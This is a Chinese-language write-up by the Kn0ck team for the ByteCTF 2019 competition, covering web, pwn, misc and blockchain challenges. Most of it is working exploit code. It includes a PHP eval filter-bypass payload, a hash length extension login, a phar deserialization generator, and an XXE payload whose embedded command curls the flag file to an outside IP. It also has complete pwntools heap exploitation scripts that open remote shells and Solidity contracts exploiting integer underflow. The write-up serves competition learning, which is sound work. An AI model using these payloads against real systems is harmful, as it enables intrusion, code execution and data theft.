ByteCTF 2019 WriteUp Kn0ck

 

kn0ck诚招大佬,联系邮箱kn0ck_team@protonmail.com

WEB

boring_code | solved | z3r0yu

根据hint可以得知,flag在/index.php,/code/有提示源码。

2019090815679258826816.png

然后分析源码就可以了。

首先分析功能,他会将url中读取的信息,来传给eval执行。典型的代码执行漏洞。接下来我们继续去看他的拦截。进而bypass。

  1. url验证,要求host必须为baidu.com结尾。
  2. 正则对请求得到的代码进行匹配,要求格式类似:a(),a(b())等
  3. 对一些常见的关键字进行拦截。

Bypass 1、

没找到办法。应该是ssrf中的一种绕过方式,但是奈何自己太菜。

不会、此时只好氪金 —> http://sale.bytebaidu.com。

20190908156792689032941.png

前排出售域名:bytebadu.com —> 太贵了,养不起、

一键氪金完成、第一个bypass绕过完成。

Bypass 2、3、

此时要求我们只能函数调函数。所以想到之前XCTF-Final的那个签到题。找一个可以传数组的危险函数。

这里也适用,找一个 1. 名字只存在字母的函数,2.参数值为1或者0。

// 显示所有函数
<?php var_dump(get_defined_functions());

// 然后通过sublime的手动处理,以及正则替换,匹配出仅存在字母的函数。

//  " [   -replace->  "换行[      <--- 格式化字符,使每行一个函数
//  .+".+[_0-9].+"换行  -replace-> 空        <--- 删除函数名中存在0-9以及斜线的函数

此时经过处理,还剩440个函数。

通过分析,可以发现,整题逻辑就是我们要构造形如a(b(c()));的函数去实现代码执行,光看这个,可以看出来,我们最中心的的c函数,其参数值必须为0。所以可以先fuzz一下。

最后大概可以发现(对,就是迷迷糊糊发现),phpversiontime这两个比较有用。

然后就想办法去调用吧。首先echo可以用。其次已知flag在index.php中。可以找一些读文件的函数找到了readfile。

其次构造文件名index.php,显然不合理,太难了。

最终发现一堆数学函数,以及chr,。

构造第一步

<?
// 读取当前目录下文件内容,chr(46)为点
echo(readfile(end(scandir(chr(46)))));

// 经过漫长的测试(写循环fuzz就行、)....
echo(readfile(end(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))));

// 然而,突然发现code和flag不在一个目录下还需要切换目录 
// 历经千辛万苦,构造出如下..
next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))));

// 然而突然又发现,scandir确实能获取到上级目录了。
// 但是readfile需要传入一个路径啊,scandir最终获取到的是文件名....
// 然后又是心塞历程,最后想到通过chdir来切换目录,然后再读取。
// 但又考虑到chdir返回的值是1,我们还需要通过1,再来构造个.进而去得到index.php

// 此时,机智可爱的队友登场....localtime(time())会返回个时间数组,我们将秒取出来就可以了。
// 并且,time函数可以随便传值。

// 按照时间,返回0-60内的一个数。
pos(localtime(time()));

// 切换目录为上级目录,并返回一个0-60内的数
pos(localtime(time(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))));

// 将46替换为上行语句即可
echo(readfile(end(scandir(chr(46)))));

最终payload如下:

echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))))))))));

p.s.坑点:一定要在服务器上起个服务,来打印以上语句。不能把他作为文件传上去。默认读取下载文件,会在后面加一个空行。空行过不了正则…

最终采用burp发包即可,记得设置间隔,一秒一个包。

201909081567925705661.png

EzCMS | stuck | 5am3 z3r0yu

112.126.102.158:9999/www.zip

hash拓展长度攻击,登陆admin

username=admin
password=admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00adminadm1n

cookie[‘user’]=a7d55e3f23124e118cf53a64fab821ff

.htaccess被瞎写,有啥法子绕过么? 应该没有办法

这题是个反序列化应该

bypass方式跟上次一样

php://filter/read=convert.base64-encode/resource=phar://./z.phar

mime_content_type
跟上次一样可以触发

<?php
class File{
    public $filename;
    public $filepath;
    public $checker;
}

class Admin{
    public $size;
    public $checker=1;
    public $file_tmp="";
    public $filename="z.txt";
    public $upload_dir="sandbox/cc9d4028d80b7d9c2242cf5fc8cb25f2";
    public $content_check=1;
}

$o = new File();
$o->checker=new Admin();
// $o->checker->file_tmp=".htaccess";
// $o->checker->filename="z.txt";
// $o->checker->upload_dir='./sandbox/';
$o->checker->content_check=new Admin();

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

触发方法

/view.php?filename=9c7f4a2fbf2dd3dfb7051727a644d99f.phar&filepath=php://filter/read=convert.base64-encode/resource=phar://./sandbox/cc9d4028d80b7d9c2242cf5fc8cb25f2/9c7f4a2fbf2dd3dfb7051727a644d99f.phar/test

到此为止不知道怎么getshell或者任意文件读取

RSS | solved | 5am3 z3r0yu

<?xml version="1.0" encoding="utf-8"?>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/index.php">]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>先知安全技术社区</title>
        <link>http://xz.aliyun.com/forum/</link>
        <description>先知安全技术社区</description>
        <atom:link href="http://xz.aliyun.com/forum/feed/" rel="self"></atom:link>
        <language>zh-hans</language>
        <lastBuildDate>Tue, 02 Jul 2019 06:03:00 +0800</lastBuildDate>


        <item><title>&test;</title><link>http://xz.aliyun.com/t/5514</link><description>利用Excel power query实现远程DDE执行</description><pubDate>Tue, 02 Jul 2019 06:03:00 +0800</pubDate><guid>http://xz.aliyun.com/t/5514</guid></item>

        <item><title>CVE-2019-0221—Apache Tomcat SSI printenv指令中的XSS</title><link>http://xz.aliyun.com/t/5310</link><description>CVE-2019-0221—Apache Tomcat SSI printenv指令中的XSS</description><pubDate>Mon, 03 Jun 2019 09:09:00 +0800</pubDate><guid>http://xz.aliyun.com/t/5310</guid></item>
    </channel>
</rss>

爆破目录

http://112.126.96.50:9999/file/
http://112.126.96.50:9999/classes/
http://112.126.96.50:9999/static/
http://112.126.96.50:9999/controllers/

读取相关文件,之后构造exp如下

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY test SYSTEM "http://localhost/rss_in_order?rss_url=http%3a%2f%2f47.90.204.28%3a2233%2ffile.xml&order=description%2c%22c%22)%3b%7dsystem(%22curl+http%3a%2f%2f47.90.204.28%3a2233%2f%60cat%20%2fflag_eb8ba2eb07702e69963a7d6ab8669134%20%7c%20base64%60%22)%3b%2f%2f">]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>先知安全技术社区</title>
        <link>http://xz.aliyun.com/forum/</link>
        <description>先知安全技术社区</description>
        <atom:link href="http://xz.aliyun.com/forum/feed/" rel="self"></atom:link>
        <language>zh-hans</language>
        <lastBuildDate>Tue, 02 Jul 2019 06:03:00 +0800</lastBuildDate>


        <item><title>&test;</title><link>http://xz.aliyun.com/t/5514</link><description>利用Excel power query实现远程DDE执行</description><pubDate>Tue, 02 Jul 2019 06:03:00 +0800</pubDate><guid>http://xz.aliyun.com/t/5514</guid></item>

        <item><title>CVE-2019-0221—Apache Tomcat SSI printenv指令中的XSS</title><link>http://xz.aliyun.com/t/5310</link><description>CVE-2019-0221—Apache Tomcat SSI printenv指令中的XSS</description><pubDate>Mon, 03 Jun 2019 09:09:00 +0800</pubDate><guid>http://xz.aliyun.com/t/5310</guid></item>
</channel>
</rss>

 

PWN

mheap | stuck |

notefive | solved |
off by one漏洞,没有fastbin,构造overlap,首先利用unsorted bin attack攻击global_max_fast,利用两个相同地址fastbin数组溢出攻击两次stdout造成泄露,最后一次攻击stdout vtable,将其改为heap地址,在heap地址中提前布置好one_gadget

#! /usr/bin/env python
# -*- coding: utf-8 -*-
from PwnContext import *
if __name__ == '__main__':
    context.terminal = ['tmux', 'split', '-h']
    #-----function for quick script-----#
    s       = lambda data               :ctx.send(str(data))        #in case that data is a int
    sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
    sl      = lambda data               :ctx.sendline(str(data)) 
    sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data))
    r       = lambda numb=4096          :ctx.recv(numb)
    ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
    irt     = lambda                    :ctx.interactive()

    rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
    leak    = lambda address, count=0   :ctx.leak(address, count)

    uu32    = lambda data   :u32(data.ljust(4, ''))
    uu64    = lambda data   :u64(data.ljust(8, ''))

    debugg = 0
    logg = 0

    ctx.binary = './notefive'

    ctx.custom_lib_dir = './glibc-all-in-one/libs/2.23-0ubuntu11_amd64/'#remote libc
    ctx.debug_remote_libc = True

    ctx.symbols = {'note':0x202060}
    #ctx.breakpoints = [0x1234, 0x5678]
    #ctx.debug()
    #ctx.start("gdb",gdbscript="set follow-fork-mode childnc")
    while True:
        try:
            if debugg:
                rs()
            else:
                ctx.remote = ('112.126.103.195', 9999)
                rs(method = 'remote')
            '''
            if (ctx.bases.libc + 0x3c67f8) & 0xffff != 0x87f8:
                ctx.close()
                continue
            '''
            if logg:
                context.log_level = 'debug'

            def choice(aid):
                sla('choice>> ',aid)
            def add(aid,asize):
                choice(1)
                sla('idx: ',aid)
                sla('size: ',asize)
            def edit(aid,acon):
                choice(2)
                sla('idx: ',aid)
                sa('content: ',acon)
            def free(aid):
                choice(3)
                sla('idx: ',aid)

            add(0,0x108)
            add(1,0x400)
            add(2,0x108)
            add(3,0x108)
            for i in range(4):
                add(4,0x400)
            add(4,0xb0)
            add(4,0x400)
            edit(4,(p64(0)+p64(0x21))*40+'n')

            edit(1,'x00'*0x3f0+p64(0x400)+'n')
            free(1)
            edit(0,'x00'*0x109)

            add(1,0x108)
            add(4,0x2e8)

            free(1)
            free(2)

            add(1,0x118)
            add(2,0x98)
            add(3,0x358)
            free(1)
            edit(2,'x00'*0x90+p64(0x1c0)+'x60')
            free(3)

            add(1,0x118)
            add(3,0x98)

            global_max_fast = 0x87f8
            write_base_offset = 0x1651
            stdout_vtable_offset = 0x17c1
            #ctx.debug()
            #raw_input()
            payload = p64(0)+p64(write_base_offset)
            payload = payload.ljust(0xa0,'x00')
            payload += p64(0)+p64(0x361)
            payload += p64(0)+p16(global_max_fast-0x10)
            edit(4,payload+'n')
            add(0,0x358)
            free(2)

            sl(2)
            sleep(0.1)
            sl(4)
            sleep(0.1)
            sl(p64(0)+p64(write_base_offset-0x20))
            sleep(0.1)

            sl(3)
            sleep(0.1)
            sl(3)
            data = ru('x7f',drop=False)
            libc_base = uu64(data[-6:])
            ru('exit')
            libc_base -= 0x3c56a3
            log.success("libc_base = %s"%hex(libc_base))
            libc = ctx.libc
            one = libc_base + 0xf1147
            edit(0,p64(one)*8+'n') #fake table+0x38

            edit(4,'x00'*0xa8+p64(stdout_vtable_offset)+'n')
            free(0)

            #ctx.debug()
            irt()
        except KeyboardInterrupt:
            exit()
        except EOFError:
            continue
        except:
            if ctx.io:
                ctx.close()

vip | solved |

首先泄露heap和libc地址,然后爆破修改tcache的fd到0x4040e0,然后直接攻击free hook即可。

#! /usr/bin/env python
# -*- coding: utf-8 -*-
from PwnContext import *
if __name__ == '__main__':
    context.terminal = ['tmux', 'split', '-h']
    #-----function for quick script-----#
    s       = lambda data               :ctx.send(str(data))        #in case that data is a int
    sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
    sl      = lambda data               :ctx.sendline(str(data)) 
    sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data))
    r       = lambda numb=4096          :ctx.recv(numb)
    ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
    irt     = lambda                    :ctx.interactive()

    rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
    leak    = lambda address, count=0   :ctx.leak(address, count)

    uu32    = lambda data   :u32(data.ljust(4, ''))
    uu64    = lambda data   :u64(data.ljust(8, ''))

    debugg = 0
    logg = 0

    ctx.binary = './vip'

    ctx.custom_lib_dir = './glibc-all-in-one/libs/2.27-3ubuntu1_amd64/'#remote libc
    ctx.debug_remote_libc = True

    ctx.symbols = {'note':0x404100}
    #ctx.breakpoints = [0x1234, 0x5678]
    #ctx.debug()
    #ctx.start("gdb",gdbscript="set follow-fork-mode childnc")

    if debugg:
        rs()
    else:
        ctx.remote = ('112.126.103.14', 9999)
        rs(method = 'remote')

    if logg:
        context.log_level = 'debug'

    def choice(idx,aid):
        sla('choice: ',aid)
        sla('Index: ',idx)
    def add(aid):
        choice(aid,1)
    def show(aid):
        choice(aid,2)
    def free(aid):
        choice(aid,3)
    def edit(aid,asize,acon=None):
        choice(aid,4)
        sla('Size: ',asize)
        ru('Content: ')
        if acon != None:
            s(acon)
    def triger(aid):
        choice(aid,4)
        sla('Size: ','0'*0x400)

    for i in range(10):
        add(i)
    for i in range(7):
        free(i)
    add(6)
    show(6)
    heap = uu64(ru('n'))
    log.success("heap = %s"%hex(heap))
    if(len(p32(heap).replace('x00','')) > 3):
        log.error("can't exploit")
        ctx.close()
        exit()
    free(7)
    free(8)
    triger(9)
    for i in range(7):
        add(i)
    add(7)
    show(7)
    libc_base = uu64(r(6)) - 0x3ebd50 + 0x60
    log.success("libc_base = %s"%hex(libc_base))
    add(8)

    free(0)
    free(1)
    while True:
        edit(2,0x63)
        show(2)
        data = ru('Done!')[:-1]
        #print(hex(len(data)))
        if len(data) != 0x63:
            continue
        data = uu32(data[-3:])
        log.success("data = %s"%hex(data))
        if (data >> 16) == 0x40:
            break

    while True:
        edit(2,0x62)
        show(2)
        data = ru('Done!')[:-1]
        #print(hex(len(data)))
        if len(data) != 0x63:
            continue
        data = uu32(data[-3:])
        log.success("data = %s"%hex(data))
        if (data >> 8) == 0x4040:
            break

    while True:
        edit(2,0x61)
        show(2)
        data = ru('Done!')[:-1]
        #print(hex(len(data)))
        if len(data) != 0x63:
            continue
        data = uu32(data[-3:])
        log.success("data = %s"%hex(data))
        if data == 0x4040E0:
            break
    add(1)
    add(0)
    edit(0,1)

    free(2)
    free(3)

    libc = ctx.libc 
    free_hook = libc_base + libc.symbols['__free_hook']
    system = libc_base + libc.symbols['system']
    payload = 'x00'*0x60
    payload += p64(free_hook)
    edit(4,len(payload),payload)

    add(3)
    edit(3,8,'/bin/shx00')
    add(2)
    edit(2,8,p64(system))
    #free(3)

    #ctx.debug()
    irt()

mulnote | solved |

水题,free之后有10秒才清空堆指针,乱搞

#! /usr/bin/env python
# -*- coding: utf-8 -*-
from PwnContext import *
if __name__ == '__main__':
    context.terminal = ['tmux', 'split', '-h']
    #-----function for quick script-----#
    s       = lambda data               :ctx.send(str(data))        #in case that data is a int
    sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
    sl      = lambda data               :ctx.sendline(str(data)) 
    sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data))
    r       = lambda numb=4096          :ctx.recv(numb)
    ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
    irt     = lambda                    :ctx.interactive()

    rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
    leak    = lambda address, count=0   :ctx.leak(address, count)

    uu32    = lambda data   :u32(data.ljust(4, ''))
    uu64    = lambda data   :u64(data.ljust(8, ''))

    debugg = 0
    logg = 0

    ctx.binary = './mulnote'

    ctx.custom_lib_dir = './glibc-all-in-one/libs/2.23-0ubuntu11_amd64/'#remote libc
    ctx.debug_remote_libc = True

    ctx.symbols = {'note':0x202020}
    #ctx.breakpoints = [0x1234, 0x5678]
    #ctx.debug()
    #ctx.start("gdb",gdbscript="set follow-fork-mode childnc")

    if debugg:
        rs()
    else:
        ctx.remote = ('112.126.101.96', 9999)
        rs(method = 'remote')

    if logg:
        context.log_level = 'debug'

    def choice(achar):
        sla('>',achar)
    def add(asize,acon):
        choice('C')
        sla('size>',asize)
        sa('note>',acon)
    def show():
        choice('S')
    def free(aid):
        choice('R')
        sla('index>',aid)
    def edit(aid,acon):
        choice('E')
        sla('index>',aid)
        sa('new note>',acon)

    add(0x100,'0')
    add(0x10,'1')
    free(0)
    add(0x100,'A')
    show()

    ru('[0]:n')
    libc_base = uu64(r(6)) - 0x3c4b41
    log.success("libc_base = %s"%hex(libc_base))

    add(0x60,'3')
    add(0x60,'4')
    free(3)
    free(4)
    free(3)

    libc = ctx.libc
    malloc_hook = libc_base + libc.symbols['__malloc_hook']
    one = libc_base + 0x4526a

    add(0x60,p64(malloc_hook-0x23)) #5
    add(0x60,'6')
    add(0x60,'7')
    add(0x60,'x00'*0x13+p64(one)) #8
    sla('>','C')
    sla('size>',1)

    #ctx.debug()
    irt()

ezarch | solved |

题目stack大小为4096,但是判断ebp时使用memory size来判断,远大于4096,造成栈溢出,修改bss上stack地址,造成任意地址读写,将malloc改成one gadget

#! /usr/bin/env python
# -*- coding: utf-8 -*-
from PwnContext import *
if __name__ == '__main__':
    context.terminal = ['tmux', 'split', '-h']
    #-----function for quick script-----#
    s       = lambda data               :ctx.send(str(data))        #in case that data is a int
    sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
    sl      = lambda data               :ctx.sendline(str(data)) 
    sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data))
    r       = lambda numb=4096          :ctx.recv(numb)
    ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
    irt     = lambda                    :ctx.interactive()

    rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
    leak    = lambda address, count=0   :ctx.leak(address, count)

    uu32    = lambda data   :u32(data.ljust(4, ''))
    uu64    = lambda data   :u64(data.ljust(8, ''))

    debugg = 0
    logg = 0

    ctx.binary = './ezarch'

    ctx.custom_lib_dir = './glibc-all-in-one/libs/2.27-3ubuntu1_amd64/'#remote libc
    ctx.debug_remote_libc = True

    ctx.symbols = {'stack':0x2020C0,'mem':0x202078}
    ctx.breakpoints = [0x189F,0x152F,0xEC0]
    #ctx.debug()
    #ctx.start("gdb",gdbscript="set follow-fork-mode childnc")

    if debugg:
        rs()
    else:
        ctx.remote = ('112.126.102.73', 9999)
        rs(method = 'remote')

    if logg:
        context.log_level = 'debug'

    def setmem(memsize,mem,eip,esp,ebp):
        sla('[E]xitn>','M')
        sla('Memory size>',memsize)
        sla('Inited size>',len(mem))
        sa(')n',mem)
        sla('eip>',eip)
        sla('esp>',esp)
        sla('ebp>',ebp)
    def set_reg(aid,num):
        return 'x03'+'x10'+p32(aid)+p32(num)
    def set_ebp(num):
        return 'x03'+'x10'+p32(0x11)+p32(num)
    def set_esp(num):
        return 'x03'+'x10'+p32(0x10)+p32(num)
    def write_ebp(num):
        return 'x03'+'x12'+p32(0x11)+p32(num)
    def read_ebp(regid):
        return 'x03'+'x20'+p32(regid)+p32(0x11)
    def sub_reg(regid,num):
        return 'x02'+'x10'+p32(regid)+p32(num)
    def mov_ebp_reg(regid):
        return 'x03'+'x00'+p32(0x11)+p32(regid)
    def mov_ebpP_reg(regid):
        return 'x03'+'x02'+p32(0x11)+p32(regid)

    payload = ''
    payload += set_ebp(0x1008)
    payload += read_ebp(0) #reg0
    payload += sub_reg(0,0x78) #got malloc
    payload += mov_ebpP_reg(0)
    payload += set_ebp(0)
    payload += read_ebp(1) #reg1
    payload += sub_reg(1,0x47d4e)
    payload += mov_ebpP_reg(1)
    setmem(0x2000,payload,0,0,0)
    sla('>','R')

    sla('>','M')
    sla('size>',1)
    #ctx.debug()
    irt()

 

MISC

betgame | solved |

    和题目交互30次,类似石头剪刀布,要求全胜,每次开始题目会宣布自己下回合出什么,实际出的会相对有个偏移,然后测试发现偏移是固定的,这样其实每次交互都是可预测的,脚本如下:
from pwn import *

order = []
#order = [0, 2, 1, 0, 2, 1, 0, 2, 1, 0, 2, 1, 0, 2, 1, 0, 2, 1, 0, 2, 1, 0, 2, 1, 0, 2, 1, 0, 2, 1]
bet = ['j', 's', 'b']


def trybet():
    t = remote('112.125.25.81', 9999)
    for i in range(len(order)):
        start = t.recvline()
        you = start[-2:-1]
        me = bet[(stoi(you)+order[i])%3]
        t.sendline(me)
        check = t.recvline()
        print check
    try :
        print t.recvline()
    except EOFError:
        pass
    t.close()
    return check

def stoi(a):
    if a == 'j':
        return 0
    if a == 's':
        return 1
    if a == 'b':
        return 2


for i in range(30):
    for j in range(3):
        order.append(j)
        check = trybet()
        if 'you' in check:
            print order
            break
        else:
            order.pop(-1)

bet | solved |

    主要solidity好多语法需要摸索,题目本身不难,想办法让数据下溢就好了,另外调用getflag函数卡了好久,一个是目标合约会往发送合约转钱,要设个可收钱的反馈函数,另一个间接调用不懂为啥总是掉参数,贴下getflag的合约:
pragma solidity ^0.4.23;
contract hack {
address target = 0x30D0a604D8c90064a0a3cA4BeEEA177EfF3e9bCd;
    constructor()public  payable   {
           target = 0x30D0a604D8c90064a0a3cA4BeEEA177EfF3e9bCd;
    }
    event log(bytes4);
    function () payable {
      emit  log(1);
    }

    function setvar1(uint aa) public returns (bool) {

        bytes4 method = 0xf98b23c9;
       return  target.call(method,aa);
    }

    function mapping3(address _arg0) public view {
         bytes4 method = 0x6956604e;
         target.call(method,_arg0);
}

     function setplus2(uint aa) public returns (bool) {

        bytes4 method = 0xad17b493;
       return  target.call(method,aa);
    }

    function guessvar1(uint aa) public returns (bool) {

        bytes4 method = 0x1727bb94;
       return  target.call(method,aa);
    }
    function getprofit() public {
        bytes4 method = 0x66d16cc3;
        target.call(method);
    }

    function Bet() public returns (bool) {
        bytes4 methodId = bytes4(keccak256("Bet()"));
       return  target.call(methodId);
    }

    function flag(string email) public returns (bool) {
        bytes4 methodId = bytes4(keccak256("payforflag(string)"));
        log(methodId);
        //bytes4 methodId = 0x6bc344bc;
       //return  target.call(methodId,email);
    return  target.call(0x6bc344bc,0x20,0x20,email);

    }
    function getflag(string email) public returns (bool) {
        Bet();
        flag(email);
    }


    function hackk() public{
        getprofit();
        plus();
         guessvar1(122);
         setplus2(1);
    }

    function plus()public {
        Bet();
        setvar1(123);
        guessvar1(123);
    }
    function kill() {

      selfdestruct(0xc6420e40E0e1e21b5480233E51E11c626a011ba0);
    }

}

jigsaw | solved |

    题目给了一堆图片,拼起来就是flag,是个月厨

hf_ | solved |
题目和上题类似,也是想办法下溢数据,合约如下:

pragma solidity ^0.4.23;
contract hackhf {
address target = 0x62f1173e0fb4d481114d389dc8e0dea65e942735;
    constructor()public  payable   {
           target = 0x62f1173e0fb4d481114d389dc8e0dea65e942735;
    }
    event log(bytes4);
    function () payable {
      emit  log(1);
    }


    function trans(address aa,uint bb) public returns (bool) {

        bytes4 method = 0x0f77e47d;
       return  target.call(method,aa,bb);
    }
    function setvar1(address aa) public payable  {
        bytes4 method = 0xbf1912bc;
        target.call.value(2000000000000000000 wei)(method,aa);
    }
    function hack(address bb,string email,uint cc) public payable{
        getprofit();
        address aa = address(this);
        setvar1(aa);
        trans(bb,cc);
        flag(email);
    }

    function getprofit() public {
        bytes4 method = 0x66d16cc3;
        target.call(method);
    }



    function flag(string email) public returns (bool) {
        bytes4 methodId = bytes4(keccak256("payforflag(string)"));
        log(methodId);
        //bytes4 methodId = 0x6bc344bc;
       //return  target.call(methodId,email);
    return  target.call(0x6bc344bc,0x20,0x20,email);

    }



    function kill() {

      selfdestruct(0xc6420e40E0e1e21b5480233E51E11c626a011ba0);
    }

}
(完)